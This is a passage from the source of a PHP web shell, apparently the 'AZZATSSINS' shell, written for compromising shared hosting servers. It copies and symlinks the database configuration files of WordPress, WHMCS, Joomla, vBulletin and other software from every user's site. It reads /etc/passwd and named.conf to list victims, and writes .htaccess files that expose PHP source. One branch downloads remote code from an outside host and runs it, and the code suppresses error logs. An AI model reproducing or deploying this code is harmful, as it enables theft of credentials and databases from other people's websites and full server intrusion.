1371copy('/home/'.$user.'/public_html/Whm/configuration.php',$user.' <~ WHMCS.txt');
1372copy('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.' <~ WHMCS.txt');
1373copy('/home/'.$user.'/public_html/WHM/configuration.php',$user.' <~ WHMCS.txt');
1374copy('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.' <~ WHMCS.txt');
1375symlink('/home/'.$user.'/public_html/wp-config.php',$user.' <~ WORDPRESS.txt');
1376symlink('/home/'.$user.'/public_html/configuration.php',$user.' <~ WHMCS or JOOMLA.txt');
1377symlink('/home/'.$user.'/public_html/account/configuration.php',$user.' <~ WHMCS.txt');
1378symlink('/home/'.$user.'/public_html/accounts/configuration.php',$user.' <~ WHMCS.txt');
1379symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.' <~ WHMCS.txt');
1380symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.' <~ WHMCS.txt');
1381symlink('/home/'.$user.'/public_html/central/configuration.php',$user.' <~ WHMCS.txt');
1382symlink('/home/'.$user.'/public_html/clienti/configuration.php',$user.' <~ WHMCS.txt');
1383symlink('/home/'.$user.'/public_html/client/configuration.php',$user.' <~ WHMCS.txt');
1384symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.' <~ WHMCS.txt');
1385symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.' <~ WHMCS.txt');
1386symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.' <~ WHMCS.txt');
1387symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.' <~ WHMCS.txt');
1388symlink('/home/'.$user.'/public_html/clientsarea/configuration.php',$user.' <~ WHMCS.txt');
1389symlink('/home/'.$user.'/public_html/client-area/configuration.php',$user.' <~ WHMCS.txt');
1390symlink('/home/'.$user.'/public_html/clients-area/configuration.php',$user.' <~ WHMCS.txt');
1391symlink('/home/'.$user.'/public_html/clientzone/configuration.php',$user.' <~ WHMCS.txt');
1392symlink('/home/'.$user.'/public_html/client-zone/configuration.php',$user.' <~ WHMCS.txt');
1393symlink('/home/'.$user.'/public_html/core/configuration.php',$user.' <~ WHMCS.txt');
1394symlink('/home/'.$user.'/public_html/company/configuration.php',$user.' <~ WHMCS.txt');
1395symlink('/home/'.$user.'/public_html/customer/configuration.php',$user.' <~ WHMCS.txt');
1396symlink('/home/'.$user.'/public_html/customers/configuration.php',$user.' <~ WHMCS.txt');
1397symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.' <~ WHMCS.txt');
1398symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.' <~ WHMCS.txt');
1399symlink('/home/'.$user.'/public_html/finance/configuration.php',$user.' <~ WHMCS.txt');
1400symlink('/home/'.$user.'/public_html/financeiro/configuration.php',$user.' <~ WHMCS.txt');
1401symlink('/home/'.$user.'/public_html/host/configuration.php',$user.' <~ WHMCS.txt');
1402symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.' <~ WHMCS.txt');
1403symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.' <~ WHMCS.txt');
1404symlink('/home/'.$user.'/public_html/hostings/configuration.php',$user.' <~ WHMCS.txt');
1405symlink('/home/'.$user.'/public_html/klien/configuration.php',$user.' <~ WHMCS.txt');
1406symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.' <~ WHMCS.txt');
1407symlink('/home/'.$user.'/public_html/manager/configuration.php',$user.' <~ WHMCS.txt');
1408symlink('/home/'.$user.'/public_html/member/configuration.php',$user.' <~ WHMCS.txt');
1409symlink('/home/'.$user.'/public_html/members/configuration.php',$user.' <~ WHMCS.txt');
1410symlink('/home/'.$user.'/public_html/my/configuration.php',$user.' <~ WHMCS.txt');
1411symlink('/home/'.$user.'/public_html/myaccount/configuration.php',$user.' <~ WHMCS.txt');
1412symlink('/home/'.$user.'/public_html/my-account/client/configuration.php',$user.' <~ WHMCS.txt');
1413symlink('/home/'.$user.'/public_html/myaccounts/configuration.php',$user.' <~ WHMCS.txt');
1414symlink('/home/'.$user.'/public_html/my-accounts/configuration.php',$user.' <~ WHMCS.txt');
1415symlink('/home/'.$user.'/public_html/order/configuration.php',$user.' <~ WHMCS.txt');
1416symlink('/home/'.$user.'/public_html/orders/configuration.php',$user.' <~ WHMCS.txt');
1417symlink('/home/'.$user.'/public_html/painel/configuration.php',$user.' <~ WHMCS.txt');
1418symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.' <~ WHMCS.txt');
1419symlink('/home/'.$user.'/public_html/panels/configuration.php',$user.' <~ WHMCS.txt');
1420symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.' <~ WHMCS.txt');
1421symlink('/home/'.$user.'/public_html/portals/configuration.php',$user.' <~ WHMCS.txt');
1422symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.' <~ WHMCS.txt');
1423
1424symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.' <~ WHMCS.txt');
1425symlink('/home/'.$user.'/public_html/support/configuration.php',$user.' <~ WHMCS.txt');
1426symlink('/home/'.$user.'/public_html/supporte/configuration.php',$user.' <~ WHMCS.txt');
1427symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.' <~ WHMCS.txt');
1428symlink('/home/'.$user.'/public_html/web/configuration.php',$user.' <~ WHMCS.txt');
1429symlink('/home/'.$user.'/public_html/webhost/configuration.php',$user.' <~ WHMCS.txt');
1430symlink('/home/'.$user.'/public_html/webhosting/configuration.php',$user.' <~ WHMCS.txt');
1431symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.' <~ WHMCS.txt');
1432symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.' <~ WHMCS.txt');
1433symlink('/home/'.$user.'/public_html/whmcs2/configuration.php',$user.' <~ WHMCS.txt');
1434symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.' <~ WHMCS.txt');
1435symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.' <~ WHMCS.txt');
1436symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.' <~ WHMCS.txt');
1437symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.' <~ WHMCS.txt');
1438symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.' <~ VBULLETIN.txt');
1439symlink('/home/'.$user.'/public_html/includes/config.php',$user.' <~ VBULLETIN.txt');
1440symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.' <~ VBULLETIN.txt');
1441symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.' <~ VBULLETIN.txt');
1442symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.' <~ VBULLETIN.txt');
1443symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
1444symlink('/home/'.$user.'/public_html/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1445symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1446symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1447symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1448symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1449symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.' <~ OSCOMMERCE.txt');
1450symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
1451copy('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.' <~ WORDPRESS.txt');
1452copy('/home/'.$user.'/public_html/blog/wp-config.php',$user.' <~ WORDPRESS.txt');
1453copy('/home/'.$user.'/public_html/beta/wp-config.php',$user.' <~ WORDPRESS.txt');
1454copy('/home/'.$user.'/public_html/portal/wp-config.php',$user.' <~ WORDPRESS.txt');
1455copy('/home/'.$user.'/public_html/site/wp-config.php',$user.' <~ WORDPRESS.txt');
1456copy('/home/'.$user.'/public_html/wp/wp-config.php',$user.' <~ WORDPRESS.txt');
1457copy('/home/'.$user.'/public_html/WP/wp-config.php',$user.' <~ WORDPRESS.txt');
1458copy('/home/'.$user.'/public_html/news/wp-config.php',$user.' <~ WORDPRESS.txt');
1459copy('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.' <~ WORDPRESS.txt');
1460copy('/home/'.$user.'/public_html/test/wp-config.php',$user.' <~ WORDPRESS.txt');
1461copy('/home/'.$user.'/public_html/demo/wp-config.php',$user.' <~ WORDPRESS.txt');
1462copy('/home/'.$user.'/public_html/home/wp-config.php',$user.' <~ WORDPRESS.txt');
1463copy('/home/'.$user.'/public_html/v1/wp-config.php',$user.' <~ WORDPRESS.txt');
1464copy('/home/'.$user.'/public_html/v2/wp-config.php',$user.' <~ WORDPRESS.txt');
1465copy('/home/'.$user.'/public_html/press/wp-config.php',$user.' <~ WORDPRESS.txt');
1466copy('/home/'.$user.'/public_html/new/wp-config.php',$user.' <~ WORDPRESS.txt');
1467copy('/home/'.$user.'/public_html/blogs/wp-config.php',$user.' <~ WORDPRESS.txt');
1468copy('/home/'.$user.'/public_html/blog/configuration.php',$user.' <~ JOOMLA.txt');
1469copy('/home/'.$user.'/public_html/submitticket.php',$user.' <~ WHMCS.txt');
1470copy('/home/'.$user.'/public_html/cms/configuration.php',$user.' <~ JOOMLA.txt');
1471copy('/home/'.$user.'/public_html/beta/configuration.php',$user.' <~ JOOMLA.txt');
1472copy('/home/'.$user.'/public_html/portal/configuration.php',$user.' <~ JOOMLA.txt');
1473copy('/home/'.$user.'/public_html/site/configuration.php',$user.' <~ JOOMLA.txt');
1474copy('/home/'.$user.'/public_html/main/configuration.php',$user.' <~ JOOMLA.txt');
1475copy('/home/'.$user.'/public_html/home/configuration.php',$user.' <~ JOOMLA.txt');
1476copy('/home/'.$user.'/public_html/demo/configuration.php',$user.' <~ JOOMLA.txt');
1477copy('/home/'.$user.'/public_html/test/configuration.php',$user.' <~ JOOMLA.txt');
1478copy('/home/'.$user.'/public_html/v1/configuration.php',$user.' <~ JOOMLA.txt');
1479copy('/home/'.$user.'/public_html/v2/configuration.php',$user.' <~ JOOMLA.txt');
1480copy('/home/'.$user.'/public_html/joomla/configuration.php',$user.' <~ JOOMLA.txt');
1481copy('/home/'.$user.'/public_html/new/configuration.php',$user.' <~ JOOMLA.txt');
1482symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.' <~ WORDPRESS.txt');
1483symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.' <~ WORDPRESS.txt');
1484symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.' <~ WORDPRESS.txt');
1485symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.' <~ WORDPRESS.txt');
1486symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.' <~ WORDPRESS.txt');
1487symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.' <~ WORDPRESS.txt');
1488symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.' <~ WORDPRESS.txt');
1489symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.' <~ WORDPRESS.txt');
1490symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.' <~ WORDPRESS.txt');
1491symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.' <~ WORDPRESS.txt');
1492symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.' <~ WORDPRESS.txt');
1493symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.' <~ WORDPRESS.txt');
1494symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.' <~ WORDPRESS.txt');
1495symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.' <~ WORDPRESS.txt');
1496symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.' <~ WORDPRESS.txt');
1497symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.' <~ WORDPRESS.txt');
1498symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.' <~ WORDPRESS.txt');
1499/*You Can ReCoded But Don't Change ©CopyRight*/
1500/*e.g: Recoded By xxxxxx & © AZZATSSINS*/
1501symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.' <~ JOOMLA.txt');
1502symlink('/home/'.$user.'/public_html/submitticket.php',$user.' <~ WHMCS.txt');
1503symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.' <~ JOOMLA.txt');
1504symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.' <~ JOOMLA.txt');
1505symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.' <~ JOOMLA.txt');
1506symlink('/home/'.$user.'/public_html/site/configuration.php',$user.' <~ JOOMLA.txt');
1507symlink('/home/'.$user.'/public_html/main/configuration.php',$user.' <~ JOOMLA.txt');
1508symlink('/home/'.$user.'/public_html/home/configuration.php',$user.' <~ JOOMLA.txt');
1509symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.' <~ JOOMLA.txt');
1510symlink('/home/'.$user.'/public_html/test/configuration.php',$user.' <~ JOOMLA.txt');
1511symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.' <~ JOOMLA.txt');
1512symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.' <~ JOOMLA.txt');
1513symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.' <~ JOOMLA.txt');
1514symlink('/home/'.$user.'/public_html/new/configuration.php',$user.' <~ JOOMLA.txt');
1515symlink('/home/'.$user.'/public_html/bb-config.php',$user.' <~ BOXBILLING.txt');
1516symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.' <~ BOXBILLING.txt');
1517symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.' <~ BOXBILLING.txt');
1518symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.' <~ BOXBILLING.txt');
1519symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.' <~ BOXBILLING.txt');
1520symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.' <~ BOXBILLING.txt');
1521symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.' <~ BOXBILLING.txt');
1522symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.' <~ BOXBILLING.txt');
1523symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.' <~ BOXBILLING.txt');
1524symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.' <~ BOXBILLING.txt');
1525symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.' <~ BOXBILLING.txt');
1526symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.' <~ BOXBILLING.txt');
1527symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.' <~ BOXBILLING.txt');
1528symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.' <~ BOXBILLING.txt');
1529symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.' <~ BOXBILLING.txt');
1530symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.' <~ BOXBILLING.txt');
1531symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.' <~ BOXBILLING.txt');
1532symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.' <~ BOXBILLING.txt');
1533symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.' <~ BOXBILLING.txt');
1534/*You Can ReCoded But Don't Change ©CopyRight*/
1535/*e.g: Recoded By xxxxxx & © AZZATSSINS*/
1536symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.' <~ ZENCART.txt');
1537symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.' <~ ZENCART.txt');
1538symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.' <~ ZENCART.txt');
1539symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.' <~ ZENCART.txt');
1540symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.' <~ ZENCART.txt');
1541symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1542symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1543symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1544symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1545symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1546symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1547symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1548symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1549symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1550symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1551symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1552symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1553symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1554symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1555symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1556symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1557symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1558symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.' <~ HOSTBILLS.txt');
1559copy('/home/'.$user.'/public_html/application/config/database.php',$user.' <~ ELLISLAB.txt');
1560symlink('/home/'.$user.'/public_html/application/config/database.php',$user.' <~ ELLISLAB.txt');
1561copy('/home/'.$user.'/public_html/bw-configs/config.ini',$user.' <~ BOSWEB.txt');
1562symlink('/home/'.$user.'/public_html/bw-configs/config.ini',$user.' <~ BOSWEB.txt');
1563copy('/home/'.$user.'/public_html/config/koneksi.php',$user.' <~ LOKOMEDIA.txt');
1564
1565symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.' <~ LOKOMEDIA.txt');
1566
1567copy('/home/'.$user.'/public_html/config/settings.inc.php',$user.' <~ PRESTASHOP.txt');
1568symlink('/home/'.$user.'/public_html/config/settings.inc.php',$user.' <~ PRESTASHOP.txt');
1569copy('/home/'.$user.'/public_html/slconfig.php',$user.' <~ SITELOK.txt');
1570symlink('/home/'.$user.'/public_html/slconfig.php',$user.' <~ SITELOK.txt');
1571
1572}
1573echo '<center> Process done, You can ceck folder <a href='.$folfig.'>'.$folfig.'</a> for look your configs...!!! <br> <marquee><font color=red><a href=http://fb.me/AZZATSSINS.CYBERSERKERS>^_^ / Bye.....</a></font></marquee></center>';
1574}
1575
1576}
1577
1578 # x=dead
1579elseif(isset($_GET['x']) && ($_GET['x'] == 'dead')) {
1580$fn=$_SERVER['SCRIPT_FILENAME'];unlink($fn); system("rm ".$fn);echo'<meta http-equiv="Refresh" content= "0; url=?">';
1581}
1582
1583 # x=whmcskill
1584elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcskill')) {
1585$get = file_get_contents('http://wget.yu.tl/files/whmcs-killer.css');
1586$bwt = fopen('wk.php', 'w');
1587fwrite($bwt,$get);
1588fclose($bwt);
1589echo'<meta http-equiv="Refresh" content= "0; url=wk.php">';
1590}
1591
1592 # x=azzatssym
1593elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym')) {
1594@session_start();
1595@set_time_limit(0);
1596@ini_set('max_execution_time',0);
1597if($win){
1598echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1599}
1600@mkdir('xazzatssinsx',0777);
1601$sempak = "Options Indexes FollowSymLinks \nDirectoryIndex azx.htm \nAddType text/plain .php \nAddType txt .php \nAddHandler txt .php";
1602$masuk =@fopen ('xazzatssinsx/.htaccess','w');
1603fwrite($masuk ,$sempak);
1604@symlink('/','xazzatssinsx/azx.txt');
1605$pg = basename(__FILE__);
1606
1607
1608if(is_readable("/var/named")){
1609echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
1610<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
1611<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1612<td align="center"> <font color="white"> <b>_USERS_</b></td>
1613<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
1614$list = scandir("/var/named");
1615foreach($list as $domain){
1616if(strpos($domain,".db")){
1617@error_reporting(0);
1618@ini_set('log_errors',0);
1619@ini_set('error_log',NULL);
1620
1621$i += 1;
1622$domain = str_replace('.db','',$domain);
1623$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1624echo "<tr>
1625<td><a class='azzatssins' href='http://".$domain." '>".$domain."</a></td>
1626<td align='center'><font color='white'>".$owner['name']."</td>
1627<td align='center'><a href='xazzatssinsx/azx.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1628}
1629}
1630flush();
1631flush();
1632}
1633echo "</tr></table></div></html>";
1634}
1635
1636# x=azzatssym1
1637elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym1')) {
1638@session_start();
1639@set_time_limit(0);
1640@ini_set('max_execution_time',0);
1641if($win){
1642echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1643}
1644@mkdir('xazzatssins1x',0777);
1645$sempak = "Options all \n
1646DirectoryIndex azx.html \n
1647AddType text/plain .php \n
1648AddHandler server-parsed .php \n
1649AddType text/plain .html \n
1650AddHandler txt .html \n
1651Require None \n
1652Satisfy Any";
1653$masuk =@fopen ('xazzatssins1x/.htaccess','w');
1654fwrite($masuk ,$sempak);
1655@symlink('/','xazzatssins1x/azx.txt');
1656$pg = basename(__FILE__);
1657
1658
1659if(is_readable("/var/named")){
1660echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">VAR/NAMED ]:=O</span></b></nobr><br/><br/></center>
1661<table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
1662<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1663<td align="center"> <font color="white"> <b>_USERS_</b></td>
1664<td align="center"> <font color="white"> <b>_SYMLINK_</b></center></td>';
1665$list = scandir("/var/named");
1666foreach($list as $domain){
1667if(strpos($domain,".db")){
1668@error_reporting(0);
1669@ini_set('log_errors',0);
1670@ini_set('error_log',NULL);
1671
1672$i += 1;
1673$domain = str_replace('.db','',$domain);
1674$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1675echo "<tr>
1676<td><a class='azzatssins' href='http://".$domain." '>".$domain."</a></td>
1677<td align='center'><font color='white'>".$owner['name']."</td>
1678<td align='center'><a href='xazzatssins1x/azx.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1679}
1680}
1681flush();
1682flush();
1683}
1684echo "</tr></table></div></html>";
1685}
1686
1687# x=azzatssym2
1688elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym2')) {
1689@session_start();
1690@set_time_limit(0);
1691@error_reporting(0);
1692@ini_set('log_errors',0);
1693@ini_set('error_log',NULL);
1694@ini_set('max_execution_time',0);
1695 if($win){
1696echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1697}
1698@mkdir('xazzatssins2x',0777);
1699$sempak = "Options all \n
1700DirectoryIndex azx.html \n
1701AddType text/plain .php \n
1702AddHandler server-parsed .php \n
1703AddType text/plain .html \n
1704AddHandler txt .html \n
1705Require None \n
1706Satisfy Any";
1707$masuk =@fopen ('xazzatssins2x/.htaccess','w');
1708fwrite($masuk ,$sempak);
1709@symlink('/','xazzatssins2x/azx.txt');
1710$pg = basename(__FILE__);
1711
1712if(is_readable("/etc/passwd-")){
1713$gelartiker = 'file_get_contents';
1714$seret = '/etc/passwd-';
1715$isikarung = $gelartiker($seret);
1716$buka = fopen('maho.txt', 'w');
1717fwrite($buka,$isikarung);
1718}
1719
1720if(isset($_GET['file']) or @filesize('maho.txt') > 0) {
1721$cont = stripcslashes($_POST['file']);
1722if(!file_exists('maho.txt')){
1723$f = @fopen('maho.txt','w');
1724$w = @fwrite($f,$cont);
1725fclose($f);
1726}
1727if($w or @filesize('maho.txt') > 0){
1728echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ SYMLINK</span> <span class='b8'>ETC/PASSWD- ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='400' cellspacing='0' cellpadding='0'>
1729<td align='center'> <font color='white'> <b>_USERS_</b></td>
1730<td align='center'> <font color='white'> <b>_SYMLINK_</b></td>";
1731flush();
1732$fil3 = file('maho.txt');
1733foreach ($fil3 as $f){
1734$u=explode(':', $f);
1735$user = $u['0'];
1736echo "<tr>
1737<td align='center'><font color='white'>$user</td>
1738<td align='center'><a class='azzatssins' href='xazzatssins2x/azx.txt/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
1739flush();
1740flush();
1741}
1742echo "</tr></table></div></html>";
1743}
1744}
1745}
1746
1747# x=azzatssym3
1748elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym3')) {
1749@session_start();
1750@set_time_limit(0);
1751@error_reporting(0);
1752@ini_set('log_errors',0);
1753@ini_set('error_log',NULL);
1754@ini_set('max_execution_time',0);
1755if($win){
1756echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1757}
1758@mkdir('xazzatssins3x',0777);
1759$sempak = "Options all \n
1760DirectoryIndex azx.html \n
1761AddType text/plain .php \n
1762AddHandler server-parsed .php \n
1763AddType text/plain .html \n
1764AddHandler txt .html \n
1765Require None \n
1766Satisfy Any";
1767$masuk =@fopen ('xazzatssins3x/.htaccess','w');
1768fwrite($masuk ,$sempak);
1769@symlink('/','xazzatssins3x/azx.txt');
1770$pg = basename(__FILE__);
1771
1772$etc = file_get_contents("/etc/passwd");
1773$etcz = explode("\n",$etc);
1774if(is_readable("/etc/passwd")){
1775echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/PASSWD ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1776echo'<tr>
1777<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1778<td align="center"> <font color="white"> <b>_USERS_</b></td>
1779<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1780
1781$list = scandir("/var/named");
1782foreach($etcz as $etz){
1783$etcc = explode(":",$etz);
1784foreach($list as $domain) {
1785if(strpos($domain,".db")) {
1786$domain = str_replace('.db','',$domain);
1787$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1788if($owner['name'] == $etcc[0]){
1789$i += 1;
1790echo "<tr>
1791<td><a class='azzatssins' href='http://".$domain." '>".$domain."</a></td>
1792<td align='center'><font color='white'>".$owner['name']."</font></td>
1793<td align='center'><a href='xazzatssins3x/azx.txt".$owner['dir']."/public_html/' target='_blank'>Symlink</a></td>";
1794} } } }
1795flush();
1796flush();
1797}
1798echo "</tr></table></div></html>";
1799
1800}
1801
1802# x=azzatssym4
1803elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym4')) {
1804@session_start();
1805@set_time_limit(0);
1806@error_reporting(0);
1807@ini_set('log_errors',0);
1808@ini_set('error_log',NULL);
1809@ini_set('max_execution_time',0);
1810if($win){
1811echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1812}
1813@mkdir('xazzatssins4x',0777);
1814$sempak = "Options all \n
1815DirectoryIndex azx.html \n
1816AddType text/plain .php \n
1817AddHandler server-parsed .php \n
1818AddType text/plain .html \n
1819AddHandler txt .html \n
1820Require None \n
1821Satisfy Any";
1822$masuk =@fopen ('xazzatssins4x/.htaccess','w');
1823fwrite($masuk ,$sempak);
1824@symlink('/','xazzatssins4x/azx.txt');
1825$pg = basename(__FILE__);
1826
1827if(is_readable("/etc/named.conf")){
1828echo '<center><br/><br/><nobr><b><span class="b7">O=:[ SYMLINK</span> <span class="b8">ETC/NAMED.CONF ]:=O</span></b></nobr><br/><br/> <table align="center" border="3" width="400" cellspacing="0" cellpadding="4">';
1829echo '<tr>
1830<td align="center"> <font color="white"> <b>_DOMAINS_</b></td>
1831<td align="center"> <font color="white"> <b>_USERS_</b></td>
1832<td align="center"> <font color="white"> <b>_SYMLINK_</b></td>';
1833$named = file_get_contents("/etc/named.conf");
1834preg_match_all('%zone \"(.*)\" {%',$named,$domains);
1835foreach($domains[1] as $domain){
1836$domain = trim($domain);
1837$i += 1;
1838$owner = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1839echo "<tr>
1840<td><a class='azzatssins' href='http://".$domain." '>".$domain."</a></td>
1841<td align='center'><font color='white'>".$owner['name']."</font></td>
1842<td align='center'><a href='xazzatssins4x/azx.txt".$owner['dir']."/public_html' target='_blank'>Symlink</a></td>";
1843}
1844flush();
1845flush();
1846}
1847echo "</tr></table></div></html>";
1848
1849}
1850
1851# x=azzatssym5
1852elseif(isset($_GET['x']) && ($_GET['x'] == 'azzatssym5')) {
1853@session_start();
1854@set_time_limit(0);
1855@error_reporting(0);
1856@ini_set('log_errors',0);
1857@ini_set('error_log',NULL);
1858@ini_set('max_execution_time',0);
1859if($win){
1860echo "<center><br/><br/><nobr><span class='b9'>Symlink Is Not Available In Windows Server</span></nobr><br/><br/></center>";
1861}
1862@mkdir('xazzatssins5x',0777);
